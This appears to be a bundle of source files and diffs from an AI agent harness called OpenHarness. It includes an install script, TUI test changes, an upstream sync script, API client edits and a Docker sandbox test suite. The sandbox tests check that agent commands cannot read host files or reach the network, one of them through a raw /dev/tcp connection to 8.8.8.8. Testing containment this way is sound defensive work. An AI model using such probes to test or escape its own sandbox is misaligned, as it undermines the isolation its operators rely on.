set -euo pipefail
if [ -t 1 ]; then
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
BOLD='\033[1m'
RESET='\033[0m'
else
RED='' GREEN='' YELLOW='' BLUE='' CYAN='' BOLD='' RESET=''
fi
info() { echo -e "${CYAN}[INFO]${RESET} $*"; }
success() { echo -e "${GREEN}[OK]${RESET} $*"; }
warn() { echo -e "${YELLOW}[WARN]${RESET} $*"; }
error() { echo -e "${RED}[ERROR]${RESET} $*" >&2; }
step() { echo -e "\n${BOLD}${BLUE}==>${RESET}${BOLD} $*${RESET}"; }
WITH_CHANNELS=false
GLOBAL_VENV=false
for arg in "$@"; do
case "$arg" in
--with-channels) WITH_CHANNELS=true ;;
--global-venv) GLOBAL_VENV=true ;;
--help|-h)
echo "Usage: $0 [--with-channels] [--global-venv]"
echo ""
echo "Installs the current checkout in editable mode and"
echo "registers oh/ohmo in ~/.local/bin."
echo ""
echo " default use ./ .openharness-venv inside the current repo"
echo " --global-venv use ~/.openharness-venv but still install the current repo"
echo " --with-channels deprecated compatibility flag; common IM deps install by default"
exit 0
;;
*)
error "Unknown argument: $arg"
exit 1
;;
esac
done
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
if [ "$GLOBAL_VENV" = true ]; then
VENV_DIR="$HOME/.openharness-venv"
else
VENV_DIR="$REPO_ROOT/.openharness-venv"
fi
BIN_DIR="$HOME/.local/bin"
step "Checking Python version (>= 3.10 required)"
PYTHON_CMD=""
for cmd in python3 python; do
if command -v "$cmd" >/dev/null 2>&1; then
PY_VER=$("$cmd" --version 2>&1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1)
PY_MAJOR=$(echo "$PY_VER" | cut -d. -f1)
PY_MINOR=$(echo "$PY_VER" | cut -d. -f2)
if [ "${PY_MAJOR}" -ge 3 ] && [ "${PY_MINOR}" -ge 10 ]; then
PYTHON_CMD="$cmd"
break
fi
fi
done
if [ -z "$PYTHON_CMD" ]; then
error "Python 3.10+ not found."
exit 1
fi
success "Found $("$PYTHON_CMD" --version 2>&1) (${PYTHON_CMD})"
step "Preparing developer virtual environment"
if [ ! -d "$VENV_DIR" ]; then
info "Creating virtual environment at ${VENV_DIR}"
"$PYTHON_CMD" -m venv "$VENV_DIR"
fi
source "$VENV_DIR/bin/activate"
python -m pip install --upgrade pip setuptools wheel --quiet
success "Virtual environment ready: ${VENV_DIR}"
step "Installing current checkout in editable mode"
python -m pip install -e "$REPO_ROOT" --quiet
success "Installed OpenHarness from ${REPO_ROOT}"
if [ "$WITH_CHANNELS" = true ]; then
step "Channel dependencies"
info "--with-channels is no longer required; common IM channel dependencies are installed by default."
fi
step "Installing React terminal dependencies (optional)"
if command -v node >/dev/null 2>&1; then
NODE_MAJOR=$(node --version 2>&1 | grep -oE '[0-9]+' | head -1)
FRONTEND_DIR="$REPO_ROOT/frontend/terminal"
if [ "${NODE_MAJOR}" -ge 18 ] 2>/dev/null && [ -f "$FRONTEND_DIR/package.json" ]; then
info "Running npm install in ${FRONTEND_DIR}"
(cd "$FRONTEND_DIR" && npm install --no-fund --no-audit --silent)
success "React terminal dependencies installed"
else
warn "Node.js too old or frontend directory missing; skipping npm install"
fi
else
warn "Node.js not found; skipping npm install"
fi
step "Registering global commands"
mkdir -p "$BIN_DIR"
ln -snf "$VENV_DIR/bin/oh" "$BIN_DIR/oh"
ln -snf "$VENV_DIR/bin/ohmo" "$BIN_DIR/ohmo"
ln -snf "$VENV_DIR/bin/openharness" "$BIN_DIR/openharness"
success "Linked oh/ohmo into ${BIN_DIR}"
ensure_path_in_file() {
local rc_file="$1"
local line="$2"
[ -f "$rc_file" ] || return 0
if ! grep -qF "$line" "$rc_file" 2>/dev/null; then
echo "" >> "$rc_file"
echo "# OpenHarness dev" >> "$rc_file"
echo "$line" >> "$rc_file"
success "Added ${BIN_DIR} to PATH in $(basename "$rc_file")"
fi
}
step "Ensuring ~/.local/bin is on PATH"
mkdir -p "$HOME/.config/fish"
ensure_path_in_file "$HOME/.bashrc" "export PATH=\"$BIN_DIR:\$PATH\""
ensure_path_in_file "$HOME/.bash_profile" "export PATH=\"$BIN_DIR:\$PATH\""
ensure_path_in_file "$HOME/.zshrc" "export PATH=\"$BIN_DIR:\$PATH\""
if [ -f "$HOME/.config/fish/config.fish" ]; then
if ! grep -qF "$BIN_DIR" "$HOME/.config/fish/config.fish" 2>/dev/null; then
{
echo ""
echo "# OpenHarness dev"
echo "if not contains -- \"$BIN_DIR\" \$PATH"
echo " set -gx PATH \"$BIN_DIR\" \$PATH"
echo "end"
} >> "$HOME/.config/fish/config.fish"
success "Added ${BIN_DIR} to PATH in config.fish"
fi
else
cat > "$HOME/.config/fish/config.fish" <<EOF
# OpenHarness dev
if not contains -- "$BIN_DIR" \$PATH
set -gx PATH "$BIN_DIR" \$PATH
end
EOF
success "Created config.fish with ${BIN_DIR} on PATH"
fi
echo ""
echo -e "${BOLD}${GREEN}Developer install complete.${RESET}"
echo ""
echo " Repo root: $REPO_ROOT"
echo " Virtual environment: $VENV_DIR"
echo " Command links: $BIN_DIR/oh , $BIN_DIR/ohmo"
echo ""
echo " If this shell does not see the commands yet, run one of:"
echo " bash: source ~/.bashrc"
echo " zsh: source ~/.zshrc"
echo " fish: source ~/.config/fish/config.fish"
echo ""
echo " Or use immediately in this shell:"
echo " export PATH=\"$BIN_DIR:\$PATH\""
echo " hash -r"
echo ""
+25 -34
View File
@@ -18,10 +18,8 @@ from openharness.config.settings import load_settings
ROOT = Path(__file__).resolve().parents[1]
def _spawn_oh(prompt: str | None = None, *, env: dict[str, str] | None = None) -> pexpect.spawn:
def _spawn_oh(*, env: dict[str, str] | None = None) -> pexpect.spawn:
args = ["run", "oh"]
if prompt is not None:
args.append(prompt)
child = pexpect.spawn(
"uv",
args,
@@ -67,16 +65,17 @@ def _run_permission_file_io() -> None:
if path.exists():
path.unlink()
temp_dir, env = _isolated_env()
child = _spawn_oh(
"You are running a React TUI end-to-end test. "
"Use write_file to create react_tui_smoke.txt with exact content REACT_TUI_OK, "
"then use read_file to verify it, then reply with exactly FINAL_OK_REACT_TUI.",
env=env,
)
child = _spawn_oh(env=env)
try:
print("[react_tui_permission_file_io] waiting for app shell")
child.expect("OpenHarness React TUI")
child.expect("model=kimi-k2.5")
child.expect("OpenHarness")
child.expect("model: kimi-k2.5")
_submit(
child,
"You are running a React TUI end-to-end test. "
"Use write_file to create react_tui_smoke.txt with exact content REACT_TUI_OK, "
"then use read_file to verify it, then reply with exactly FINAL_OK_REACT_TUI.",
)
print("[react_tui_permission_file_io] waiting for final marker")
child.expect(r"(?s)assistant>.*FINAL_OK_REACT_TUI")
finally:
@@ -92,16 +91,17 @@ def _run_question_flow() -> None:
if path.exists():
path.unlink()
temp_dir, env = _isolated_env()
child = _spawn_oh(
"You are running a React TUI question flow test. "
"Use ask_user_question to ask for a color. "
"After the answer arrives, use write_file to create react_tui_question.txt with that exact answer, "
"then use read_file to verify it, then reply with exactly FINAL_OK_REACT_TUI_QUESTION.",
env=env,
)
child = _spawn_oh(env=env)
try:
child.expect("OpenHarness React TUI")
child.expect("model=kimi-k2.5")
child.expect("OpenHarness")
child.expect("model: kimi-k2.5")
_submit(
child,
"You are running a React TUI question flow test. "
"Use ask_user_question to ask for a color. "
"After the answer arrives, use write_file to create react_tui_question.txt with that exact answer, "
"then use read_file to verify it, then reply with exactly FINAL_OK_REACT_TUI_QUESTION.",
)
print("[react_tui_question_flow] waiting for question modal")
child.expect("Question")
child.expect("color")
@@ -120,26 +120,17 @@ def _run_command_flow() -> None:
temp_dir, env = _isolated_env()
env["OPENHARNESS_FRONTEND_SCRIPT"] = json.dumps(
[
"/permissions set full_auto",
"/effort high",
"/passes 3",
"/status",
"/plan",
"Reply with exactly FINAL_OK_REACT_TUI_COMMANDS.",
]
)
child = _spawn_oh(env=env)
try:
print("[react_tui_command_flow] waiting for app shell")
child.expect("OpenHarness React TUI")
child.expect("model=kimi-k2.5")
child.expect("Permission mode set to full_auto")
print("[react_tui_command_flow] waiting for effort confirmation")
child.expect("Reasoning effort set to high.")
print("[react_tui_command_flow] waiting for passes confirmation")
child.expect("Pass count set to 3.")
print("[react_tui_command_flow] waiting for status output")
child.expect("Effort: high")
child.expect("Passes: 3")
child.expect("OpenHarness")
child.expect("model: kimi-k2.5")
print("[react_tui_command_flow] waiting for plan mode indicator")
child.expect("PLAN MODE")
print("[react_tui_command_flow] waiting for final marker")
child.expect(r"(?s)assistant>.*FINAL_OK_REACT_TUI_COMMANDS")
finally:
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env bash
# sync_nanobot_channels.sh — diff and optionally apply upstream nanobot changes
#
# Usage:
# ./scripts/sync_nanobot_channels.sh [--apply] [--nanobot-dir DIR]
#
# Without --apply: shows a diff between the recorded upstream commit and HEAD.
# With --apply: copies updated files, rewrites imports, and updates UPSTREAM.
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
UPSTREAM_FILE="$REPO_ROOT/src/openharness/channels/UPSTREAM"
CHANNELS_DEST="$REPO_ROOT/src/openharness/channels"
# ---------- parse args ----------
APPLY=false
NANOBOT_DIR="${NANOBOT_DIR:-$HOME/nanobot}"
while [[ $# -gt 0 ]]; do
case "$1" in
--apply) APPLY=true; shift ;;
--nanobot-dir) NANOBOT_DIR="$2"; shift 2 ;;
*) echo "Unknown arg: $1" >&2; exit 1 ;;
esac
done
# ---------- read recorded commit ----------
OLD_COMMIT=$(grep '^commit:' "$UPSTREAM_FILE" | awk '{print $2}')
echo "Upstream UPSTREAM commit : $OLD_COMMIT"
cd "$NANOBOT_DIR"
NEW_COMMIT=$(git rev-parse HEAD)
echo "Nanobot HEAD : $NEW_COMMIT"
if [[ "$OLD_COMMIT" == "$NEW_COMMIT" ]]; then
echo "Already up-to-date."
exit 0
fi
# ---------- show diff ----------
echo ""
echo "=== diff nanobot/bus/ ==="
git diff "$OLD_COMMIT".."$NEW_COMMIT" -- nanobot/bus/ || true
echo ""
echo "=== diff nanobot/channels/ ==="
git diff "$OLD_COMMIT".."$NEW_COMMIT" -- nanobot/channels/ || true
if [[ "$APPLY" == false ]]; then
echo ""
echo "Run with --apply to apply these changes."
exit 0
fi
# ---------- apply ----------
echo ""
echo "Applying changes..."
# Copy files
cp nanobot/bus/events.py "$CHANNELS_DEST/bus/events.py"
cp nanobot/bus/queue.py "$CHANNELS_DEST/bus/queue.py"
for f in nanobot/channels/*.py; do
fname="$(basename "$f")"
[[ "$fname" == "__init__.py" ]] && continue
cp "$f" "$CHANNELS_DEST/impl/$fname"
done
# Rewrite imports
for f in "$CHANNELS_DEST/bus/"*.py "$CHANNELS_DEST/impl/"*.py; do
sed -i \
-e 's/from nanobot\.bus\./from openharness.channels.bus./g' \
-e 's/from nanobot\.channels\./from openharness.channels.impl./g' \
-e 's/from nanobot\.config\.schema import/from openharness.config.schema import/g' \
-e 's/from nanobot\.utils\.helpers import/from openharness.utils.helpers import/g' \
-e 's/from nanobot\.config\.loader import/from openharness.config.loader import/g' \
"$f"
# Replace loguru
sed -i \
's/^from loguru import logger$/import logging\nlogger = logging.getLogger(__name__)/' \
"$f"
done
# Update UPSTREAM
SYNC_TIME=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
sed -i "s/^commit: .*/commit: $NEW_COMMIT/" "$UPSTREAM_FILE"
sed -i "s/^synced: .*/synced: $SYNC_TIME/" "$UPSTREAM_FILE"
echo "Done. Updated UPSTREAM to $NEW_COMMIT (synced $SYNC_TIME)"
-1
View File
@@ -7,7 +7,6 @@ import json
import os
import subprocess
import sys
import tempfile
from pathlib import Path
# Colors for output
+654
View File
@@ -0,0 +1,654 @@
#!/usr/bin/env python3
"""End-to-end tests for the Docker sandbox backend.
These tests require a running Docker daemon. They exercise the full container
lifecycle: image build, container start, command execution, file isolation,
network isolation, resource limits, and cleanup.
Run directly:
python3 scripts/test_docker_sandbox_e2e.py
Or via pytest (skipped automatically when Docker is unavailable):
uv run pytest scripts/test_docker_sandbox_e2e.py -v
"""
from __future__ import annotations
import asyncio
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
import pytest
# ---------------------------------------------------------------------------
# Bootstrap: ensure the src package is importable when run as a script
# ---------------------------------------------------------------------------
sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "src"))
from openharness.config.settings import (
DockerSandboxSettings,
SandboxNetworkSettings,
SandboxSettings,
Settings,
)
from openharness.sandbox.docker_backend import DockerSandboxSession, get_docker_availability
from openharness.sandbox.docker_image import ensure_image_available
# ---------------------------------------------------------------------------
# Skip condition: Docker daemon must be reachable
# ---------------------------------------------------------------------------
_DOCKER = shutil.which("docker")
_DOCKER_OK = False
if _DOCKER:
try:
subprocess.run([_DOCKER, "info"], capture_output=True, timeout=10, check=True)
_DOCKER_OK = True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, OSError):
pass
_SKIP_REASON = "Docker daemon is not available"
_E2E_IMAGE = "openharness-sandbox-e2e:latest"
pytestmark = pytest.mark.skipif(not _DOCKER_OK, reason=_SKIP_REASON)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _settings(*, network_domains: list[str] | None = None, **docker_kw) -> Settings:
"""Build a Settings object with Docker sandbox enabled."""
return Settings(
sandbox=SandboxSettings(
enabled=True,
backend="docker",
fail_if_unavailable=True,
network=SandboxNetworkSettings(
allowed_domains=network_domains or [],
),
docker=DockerSandboxSettings(
image=_E2E_IMAGE,
auto_build_image=True,
**docker_kw,
),
)
)
async def _run_and_capture(session: DockerSandboxSession, argv: list[str], cwd: Path) -> tuple[int, str, str]:
"""Run a command inside the sandbox and return (returncode, stdout, stderr)."""
proc = await session.exec_command(
argv,
cwd=cwd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await proc.communicate()
return (
proc.returncode or 0,
stdout.decode("utf-8", errors="replace").strip(),
stderr.decode("utf-8", errors="replace").strip(),
)
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture(scope="module")
def e2e_image():
"""Ensure the E2E sandbox image exists (built once per module)."""
ok = asyncio.run(ensure_image_available(_E2E_IMAGE, auto_build=True))
if not ok:
pytest.skip(f"Could not build Docker image {_E2E_IMAGE}")
return _E2E_IMAGE
@pytest.fixture()
def project_dir():
"""Create a temporary project directory for one test."""
with tempfile.TemporaryDirectory(prefix="oh-docker-e2e-") as tmpdir:
yield Path(tmpdir)
# ---------------------------------------------------------------------------
# 1. Image management
# ---------------------------------------------------------------------------
class TestImageManagement:
def test_image_build(self, e2e_image):
"""Image should be available after the module fixture runs."""
result = subprocess.run(
[_DOCKER, "image", "inspect", e2e_image],
capture_output=True,
)
assert result.returncode == 0, "E2E image should exist after build"
def test_image_has_expected_tools(self, e2e_image):
"""Image should contain bash, rg (ripgrep), and git."""
for tool in ("bash", "rg", "git"):
result = subprocess.run(
[_DOCKER, "run", "--rm", e2e_image, "which", tool],
capture_output=True,
)
assert result.returncode == 0, f"{tool} should be available in the image"
# ---------------------------------------------------------------------------
# 2. Container lifecycle
# ---------------------------------------------------------------------------
class TestContainerLifecycle:
def test_start_and_stop(self, e2e_image, project_dir):
"""Container should start, appear in docker ps, then stop cleanly."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-lifecycle", cwd=project_dir,
)
async def _run():
await session.start()
assert session.is_running
# Verify container is visible
result = subprocess.run(
[_DOCKER, "ps", "--filter", f"name={session.container_name}", "-q"],
capture_output=True,
text=True,
)
assert result.stdout.strip(), "Container should appear in docker ps"
await session.stop()
assert not session.is_running
# Verify container is gone (--rm flag auto-removes)
result = subprocess.run(
[_DOCKER, "ps", "-a", "--filter", f"name={session.container_name}", "-q"],
capture_output=True,
text=True,
)
assert not result.stdout.strip(), "Container should be removed after stop"
asyncio.run(_run())
def test_stop_sync(self, e2e_image, project_dir):
"""Synchronous stop (atexit handler) should also clean up."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-stopsync", cwd=project_dir,
)
async def _start():
await session.start()
asyncio.run(_start())
assert session.is_running
session.stop_sync()
assert not session.is_running
def test_availability_check(self):
"""get_docker_availability should return available=True when Docker is running."""
settings = _settings()
avail = get_docker_availability(settings)
assert avail.enabled is True
assert avail.available is True
assert avail.command is not None
# ---------------------------------------------------------------------------
# 3. Command execution
# ---------------------------------------------------------------------------
class TestCommandExecution:
def test_echo(self, e2e_image, project_dir):
"""Basic command should execute and return output."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-echo", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, stderr = await _run_and_capture(
session, ["echo", "hello-from-sandbox"], project_dir,
)
assert rc == 0
assert "hello-from-sandbox" in stdout
finally:
await session.stop()
asyncio.run(_run())
def test_exit_code_preserved(self, e2e_image, project_dir):
"""Non-zero exit codes should propagate correctly."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-exitcode", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, _, _ = await _run_and_capture(
session, ["bash", "-c", "exit 42"], project_dir,
)
assert rc == 42
finally:
await session.stop()
asyncio.run(_run())
def test_env_vars_passed(self, e2e_image, project_dir):
"""Environment variables should be forwarded into the container."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-env", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session,
["bash", "-c", "echo $MY_TEST_VAR"],
project_dir,
)
# env passed through exec_command
proc = await session.exec_command(
["bash", "-c", "echo $MY_TEST_VAR"],
cwd=project_dir,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env={"MY_TEST_VAR": "sandbox-value"},
)
out, _ = await proc.communicate()
assert "sandbox-value" in out.decode()
finally:
await session.stop()
asyncio.run(_run())
def test_working_directory(self, e2e_image, project_dir):
"""Commands should run in the specified working directory."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-cwd", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session, ["pwd"], project_dir,
)
assert rc == 0
assert str(project_dir.resolve()) in stdout
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 4. Filesystem isolation
# ---------------------------------------------------------------------------
class TestFilesystemIsolation:
def test_bind_mount_readable(self, e2e_image, project_dir):
"""Files in the project directory should be readable from inside the container."""
marker = project_dir / "test_marker.txt"
marker.write_text("E2E_MARKER_OK", encoding="utf-8")
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-fsread", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session, ["cat", str(marker)], project_dir,
)
assert rc == 0
assert "E2E_MARKER_OK" in stdout
finally:
await session.stop()
asyncio.run(_run())
def test_bind_mount_writable(self, e2e_image, project_dir):
"""Files written inside the container should appear on the host."""
output_file = project_dir / "from_container.txt"
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-fswrite", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, _, _ = await _run_and_capture(
session,
["bash", "-c", f"echo CONTAINER_WROTE_THIS > {output_file}"],
project_dir,
)
assert rc == 0
assert output_file.exists(), "File written in container should exist on host"
assert "CONTAINER_WROTE_THIS" in output_file.read_text()
finally:
await session.stop()
asyncio.run(_run())
def test_host_root_not_accessible(self, e2e_image, project_dir):
"""The container should NOT be able to read host files outside the bind mount."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-fsfence", cwd=project_dir,
)
async def _run():
await session.start()
try:
# /etc/hostname exists on the host but should not be the same inside
# the container (container has its own /etc/hostname).
# More importantly, a path like /root/.bashrc should not be the host's.
rc, stdout, _ = await _run_and_capture(
session, ["ls", "/home"], project_dir,
)
# The container should have its own /home (with ohuser),
# not the host's /home
assert rc == 0
assert "ohuser" in stdout, (
"Container /home should contain the sandbox user, not host users"
)
finally:
await session.stop()
asyncio.run(_run())
def test_ripgrep_inside_container(self, e2e_image, project_dir):
"""rg should work inside the container for glob/grep tool integration."""
(project_dir / "hello.py").write_text("print('hello world')\n", encoding="utf-8")
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-rg", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session, ["rg", "--no-heading", "hello", "."], project_dir,
)
assert rc == 0
assert "hello world" in stdout
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 5. Network isolation
# ---------------------------------------------------------------------------
class TestNetworkIsolation:
def test_network_none_blocks_connectivity(self, e2e_image, project_dir):
"""With --network=none, outbound connections should fail."""
settings = _settings() # no allowed_domains -> --network=none
session = DockerSandboxSession(
settings=settings, session_id="e2e-netblk", cwd=project_dir,
)
async def _run():
await session.start()
try:
# Try to reach an external host; should fail
rc, _, _ = await _run_and_capture(
session,
["bash", "-c", "timeout 3 bash -c 'echo > /dev/tcp/8.8.8.8/53' 2>&1 || exit 1"],
project_dir,
)
assert rc != 0, "Network should be blocked with --network=none"
finally:
await session.stop()
asyncio.run(_run())
def test_network_bridge_allows_connectivity(self, e2e_image, project_dir):
"""With allowed_domains set, --network=bridge is used and DNS resolves."""
settings = _settings(network_domains=["github.com"])
session = DockerSandboxSession(
settings=settings, session_id="e2e-netok", cwd=project_dir,
)
async def _run():
await session.start()
try:
# With bridge network, DNS resolution should work
rc, stdout, _ = await _run_and_capture(
session,
["bash", "-c", "getent hosts github.com 2>/dev/null && echo DNS_OK || echo DNS_FAIL"],
project_dir,
)
# getent may not be installed in slim image; check if we at least
# have network interfaces beyond loopback
rc2, stdout2, _ = await _run_and_capture(
session,
["bash", "-c", "cat /proc/net/route | wc -l"],
project_dir,
)
route_lines = int(stdout2.strip()) if stdout2.strip().isdigit() else 0
assert route_lines > 1, (
"Bridge network should have routing entries beyond just the header"
)
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 6. Resource limits
# ---------------------------------------------------------------------------
class TestResourceLimits:
def test_cpu_limit_applied(self, e2e_image, project_dir):
"""Container should reflect the configured CPU limit."""
settings = _settings(cpu_limit=1.5)
session = DockerSandboxSession(
settings=settings, session_id="e2e-cpu", cwd=project_dir,
)
async def _run():
await session.start()
try:
result = subprocess.run(
[_DOCKER, "inspect", "--format", "{{.HostConfig.NanoCpus}}",
session.container_name],
capture_output=True,
text=True,
)
# Docker stores NanoCpus as int nanoseconds: 1.5 CPUs = 1_500_000_000
nano = int(result.stdout.strip())
assert nano == 1_500_000_000, f"Expected 1.5 CPUs (1500000000 nano), got {nano}"
finally:
await session.stop()
asyncio.run(_run())
def test_memory_limit_applied(self, e2e_image, project_dir):
"""Container should reflect the configured memory limit."""
settings = _settings(memory_limit="256m")
session = DockerSandboxSession(
settings=settings, session_id="e2e-mem", cwd=project_dir,
)
async def _run():
await session.start()
try:
result = subprocess.run(
[_DOCKER, "inspect", "--format", "{{.HostConfig.Memory}}",
session.container_name],
capture_output=True,
text=True,
)
mem_bytes = int(result.stdout.strip())
expected = 256 * 1024 * 1024 # 256 MiB
assert mem_bytes == expected, f"Expected {expected} bytes, got {mem_bytes}"
finally:
await session.stop()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 7. Session integration (start_docker_sandbox / stop_docker_sandbox)
# ---------------------------------------------------------------------------
class TestSessionIntegration:
def test_session_lifecycle(self, e2e_image, project_dir):
"""start_docker_sandbox / stop_docker_sandbox should manage the global session."""
from openharness.sandbox.session import (
get_docker_sandbox,
is_docker_sandbox_active,
start_docker_sandbox,
stop_docker_sandbox,
)
settings = _settings()
async def _run():
assert not is_docker_sandbox_active()
await start_docker_sandbox(settings, "e2e-session", project_dir)
assert is_docker_sandbox_active()
session = get_docker_sandbox()
assert session is not None
assert session.is_running
# Run a command through the session
rc, stdout, _ = await _run_and_capture(session, ["echo", "session-ok"], project_dir)
assert rc == 0
assert "session-ok" in stdout
await stop_docker_sandbox()
assert not is_docker_sandbox_active()
assert get_docker_sandbox() is None
asyncio.run(_run())
# ---------------------------------------------------------------------------
# 8. shell.py integration (create_shell_subprocess routes through Docker)
# ---------------------------------------------------------------------------
class TestShellIntegration:
def test_create_shell_subprocess_routes_through_docker(self, e2e_image, project_dir):
"""When Docker sandbox is active, create_shell_subprocess should exec inside container."""
from openharness.sandbox.session import (
start_docker_sandbox,
stop_docker_sandbox,
)
from openharness.utils.shell import create_shell_subprocess
settings = _settings()
async def _run():
await start_docker_sandbox(settings, "e2e-shell", project_dir)
try:
process = await create_shell_subprocess(
"echo DOCKER_SHELL_OK",
cwd=project_dir,
settings=settings,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, _ = await process.communicate()
assert "DOCKER_SHELL_OK" in stdout.decode()
finally:
await stop_docker_sandbox()
asyncio.run(_run())
# ---------------------------------------------------------------------------
# CLI entry point for running outside pytest
# ---------------------------------------------------------------------------
def _main() -> int:
"""Run all tests and report results."""
if not _DOCKER_OK:
print(f"SKIP: {_SKIP_REASON}")
return 0
# Collect all test classes
test_classes = [
TestImageManagement,
TestContainerLifecycle,
TestCommandExecution,
TestFilesystemIsolation,
TestNetworkIsolation,
TestResourceLimits,
TestSessionIntegration,
TestShellIntegration,
]
# Ensure image is built first
print(f"Building sandbox image {_E2E_IMAGE}...")
ok = asyncio.run(ensure_image_available(_E2E_IMAGE, auto_build=True))
if not ok:
print(f"FAIL: Could not build {_E2E_IMAGE}")
return 1
print("Image ready.\n")
passed = 0
failed = 0
errors: list[str] = []
for cls in test_classes:
instance = cls()
for attr in sorted(dir(instance)):
if not attr.startswith("test_"):
continue
method = getattr(instance, attr)
name = f"{cls.__name__}.{attr}"
try:
with tempfile.TemporaryDirectory(prefix="oh-docker-e2e-") as tmpdir:
# Inject fixtures based on parameter names
import inspect
sig = inspect.signature(method)
kwargs = {}
if "e2e_image" in sig.parameters:
kwargs["e2e_image"] = _E2E_IMAGE
if "project_dir" in sig.parameters:
kwargs["project_dir"] = Path(tmpdir)
method(**kwargs)
print(f" PASS {name}")
passed += 1
except Exception as exc:
print(f" FAIL {name}: {exc}")
errors.append(f"{name}: {exc}")
failed += 1
print(f"\n{'=' * 60}")
print(f"Results: {passed} passed, {failed} failed")
if errors:
print("\nFailures:")
for e in errors:
print(f" - {e}")
return 1 if failed else 0
if __name__ == "__main__":
sys.exit(_main())
+1 -2
View File
@@ -10,7 +10,6 @@ import asyncio
import os
import subprocess
import sys
import tempfile
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "src"))
@@ -43,7 +42,7 @@ def _run_oh(*args: str, timeout: int = 90) -> subprocess.CompletedProcess:
async def test_api_retry_config() -> tuple[bool, str]:
"""Test that retry configuration is properly set up."""
from openharness.api.client import MAX_RETRIES, RETRYABLE_STATUS_CODES, _is_retryable, _get_retry_delay
from openharness.api.client import MAX_RETRIES, RETRYABLE_STATUS_CODES, _get_retry_delay
if MAX_RETRIES != 3:
return False, f"Expected MAX_RETRIES=3, got {MAX_RETRIES}"
-1
View File
@@ -119,7 +119,6 @@ async def test_real_model_headless() -> tuple[bool, str]:
if not settings["api_key"]:
return False, "ANTHROPIC_AUTH_TOKEN not set"
from openharness.api.client import AnthropicApiClient
from openharness.ui.app import run_print_mode
try:
-1
View File
@@ -10,7 +10,6 @@ from __future__ import annotations
import json
import os
import sys
import time
from pathlib import Path
GREEN = "\033[92m"
-1
View File
@@ -12,7 +12,6 @@ import os
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "src"))
-2
View File
@@ -55,8 +55,6 @@ def test_command_picker_shows() -> tuple[bool, str]:
try:
child.expect(pexpect.EOF, timeout=25)
output = child.before or ""
# Check for key UI elements
has_shortcuts = "send" in output.lower() or "enter" in output.lower()
has_welcome = "Oh my Harness!" in output
if has_welcome:
return True, f"TUI launched with welcome banner and shortcuts. Output: {len(output)} chars"
+15 -5
View File
@@ -1,11 +1,21 @@
"""API client exports."""
"""API exports."""
from openharness.api.provider import ProviderInfo, auth_status, detect_provider
__all__ = ["ProviderInfo", "auth_status", "detect_provider"]
from openharness.api.client import AnthropicApiClient
from openharness.api.codex_client import CodexApiClient
from openharness.api.copilot_client import CopilotClient
from openharness.api.errors import OpenHarnessApiError
from openharness.api.openai_client import OpenAICompatibleClient
from openharness.api.provider import ProviderInfo, auth_status, detect_provider
from openharness.api.usage import UsageSnapshot
__all__ = ["AnthropicApiClient", "OpenHarnessApiError", "UsageSnapshot"]
__all__ = [
"AnthropicApiClient",
"CodexApiClient",
"CopilotClient",
"OpenAICompatibleClient",
"OpenHarnessApiError",
"ProviderInfo",
"UsageSnapshot",
"auth_status",
"detect_provider",
]
+89 -8
View File
@@ -3,9 +3,11 @@
from __future__ import annotations
import asyncio
import json
import logging
import uuid
from dataclasses import dataclass, field
from typing import Any, AsyncIterator, Protocol
from typing import Any, AsyncIterator, Callable, Protocol
from anthropic import APIError, APIStatusError, AsyncAnthropic
@@ -15,6 +17,12 @@ from openharness.api.errors import (
RateLimitFailure,
RequestFailure,
)
from openharness.auth.external import (
claude_attribution_header,
claude_oauth_betas,
claude_oauth_headers,
get_claude_code_session_id,
)
from openharness.api.usage import UsageSnapshot
from openharness.engine.messages import ConversationMessage, assistant_message_from_api
@@ -25,6 +33,7 @@ MAX_RETRIES = 3
